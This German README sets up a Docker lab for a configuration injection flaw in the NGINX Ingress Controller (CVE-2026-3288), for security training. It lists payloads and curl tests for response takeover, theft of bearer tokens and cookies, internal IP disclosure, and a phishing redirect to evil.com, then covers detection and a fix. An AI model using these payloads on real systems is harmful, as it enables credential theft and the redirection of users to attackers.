CVE-2026-3288 Vulnerable Lab (Docker)

NGINX Ingress Controller Konfigurations-Injection

⚠️ WARNUNG: Dieses Lab enthält absichtlich verwundbare Konfigurationen NUR FÜR AUTORISIERTE SICHERHEITSSCHULUNGEN

Schwachstellen-Überblick

CVE-2026-3288 (CVSS 8.8 HOCH) - Konfigurations-Injection im NGINX Ingress Controller

• Betroffene Versionen: < v1.13.8, v1.14.4, v1.15.0
• Angriffsvektor: Doppelte Anführungszeichen (") Injection in der Pfad-Konfiguration
• Auswirkung: Remote Code Execution, Offenlegung von Geheimnissen, Diebstahl von Anmeldedaten
• Verwandt: CVE-2026-24512 (ähnliche Pfad-Injection)

Grundursache

Die Funktion buildProxyPass() bereinigt die Pfad-Eingabe nicht, bevor sie in die nginx-Konfiguration interpoliert wird, wodurch Angreifer aus gequoteten Zeichenketten ausbrechen und beliebige nginx-Direktiven injizieren können.

Lab-Komponenten

CVE-2026-3288-lab/
├── README.md                          # Diese Datei
├── docker-compose.yml                 # Haupt-Lab-Setup
├── docker/
│   ├── nginx/
│   │   ├── Dockerfile                # Verwundbares NGINX-Setup
│   │   ├── nginx.conf                # Basis-Konfiguration
│   │   └── vulnerable-config.conf    # Verwundbare Pfad-Behandlung
│   └── backend/
│       ├── Dockerfile                # Einfache Backend-App
│       └── app.py                    # Flask-Anwendung
├── exploits/
│   ├── exploit.py                    # Automatisiertes Exploit-Skript
│   ├── payloads.txt                  # Sammlung von Exploit-Payloads
│   └── test-exploits.sh              # Teste alle Exploits
├── detection/
│   └── monitor-logs.sh               # Überwache auf Exploit-Versuche
└── cleanup/
    └── cleanup.sh                    # Entferne alle Lab-Ressourcen

Voraussetzungen

• Docker installiert
• Docker Compose installiert
• Python 3.6+ (für Exploit-Skripte)
• curl oder wget
• Mindestens 2GB RAM

Schnellstart

1. Lab starten

cd CVE-2026-3288-lab

# Verwundbare Umgebung starten
docker-compose up -d

# Status prüfen
docker-compose ps

2. Installation verifizieren

# Testen, ob das Backend läuft
curl http://localhost:8080/

# Testen, ob NGINX läuft
curl http://localhost/

3. Exploits ausführen

cd exploits

# Automatisierte Ausnutzung
python3 exploit.py --all

# Oder einzelne Exploits testen
bash test-exploits.sh

4. Logs überwachen

# NGINX-Logs auf Ausnutzung beobachten
docker-compose logs -f nginx

# Erkennung überwachen
cd detection
bash monitor-logs.sh

5. Aufräumen

docker-compose down -v

Angriffsszenarien

Szenario 1: Antwort-Übernahme

Injiziere die nginx-return-Direktive, um angreiferkontrollierte Inhalte auszuliefern.

Payload:

/api" return 200 "HACKED BY ATTACKER

Test:

curl 'http://localhost/api" return 200 "HACKED'

Szenario 2: Diebstahl von Anmeldedaten

Reflektiere Authorization-Header in der Antwort, um Bearer-Tokens zu stehlen.

Payload:

/login" return 200 "Token: $http_authorization

Test:

curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'

Szenario 3: Phishing-Weiterleitung

Leite Benutzer auf eine angreiferkontrollierte Phishing-Seite um.

Payload:

/" return 302 "https://evil.com/phishing

Test:

curl -I 'http://localhost/" return 302 "https://evil.com/phishing'

Szenario 4: Offenlegung interner IP-Adressen

Leake interne Serverinformationen.

Payload:

/" return 200 "Internal IP: $server_addr

Test:

curl 'http://localhost/" return 200 "Internal IP: $server_addr'

Szenario 5: Cookie-Diebstahl

Stehle Session-Cookies.

Payload:

/" return 200 "Cookies: $http_cookie

Test:

curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'

So funktioniert es

Verwundbares Code-Muster

# Verwundbare Konfiguration
location ~ "^/api" {
    rewrite "(?i)/api" /backend break;
    proxy_pass http://backend;
}

Ausnutzung

Wenn der Pfad " enthält, bricht es die gequotete Zeichenkette:

# Angreifer-Eingabe: /api" return 200 "HACKED
# Ergebnis:
location ~ "^/api" return 200 "HACKED" {
    # Die ursprüngliche Konfiguration ist nun defekt
}

Erkennung

Log-Überwachung

# Auf verdächtige Muster achten
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'

Manuelle Erkennung

# NGINX-Konfiguration auf injizierte Direktiven prüfen
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"

Behebung

Sofortmaßnahmen

1. Eingabevalidierung - Alle Pfad-Eingaben bereinigen
2. Sonderzeichen escapen - " und \ korrekt escapen
3. Allowlists verwenden - Nur bekannte, sichere Pfade zulassen
4. Logs überwachen - Auf verdächtige Muster alarmieren

Code-Fix

// Vorher (verwundbar)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)

// Nachher (behoben)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)

Lernziele

Nach Abschluss dieses Labs verstehen Sie:

1. ✅ Wie Konfigurations-Injection-Schwachstellen funktionieren
2. ✅ Die Auswirkungen unzureichender Eingabebereinigung
3. ✅ Mehrere Ausnutzungstechniken
4. ✅ Erkennungsmethoden durch Log-Analyse
5. ✅ Richtige Behebungsstrategien

Fehlerbehebung

Container starten nicht

# Logs prüfen
docker-compose logs

# Neu starten
docker-compose restart

Port bereits belegt

# Ports in docker-compose.yml ändern
# Oder konkurrierende Dienste stoppen
sudo lsof -i :80

Exploits funktionieren nicht

# Prüfen, ob NGINX läuft
docker-compose ps nginx

# NGINX-Konfiguration prüfen
docker exec cve-2026-3288-nginx nginx -t

Sicherheitshinweis

• ⚠️ NUR in isolierten Lab-Umgebungen verwenden
• ⚠️ NIE auf Produktionssystemen einsetzen
• ⚠️ NIE dem Internet aussetzen
• ⚠️ Vor dem Testen eine ordnungsgemäße Autorisierung sicherstellen
• ⚠️ Verantwortungsvolle Offenlegungspraktiken befolgen

Referenzen

• CVE-2026-3288 Advisory
• Fix PR #14667
• Sysdig-Analyse

---

Erstellt ausschließlich für autorisierte Sicherheitsschulungen und Forschungszwecke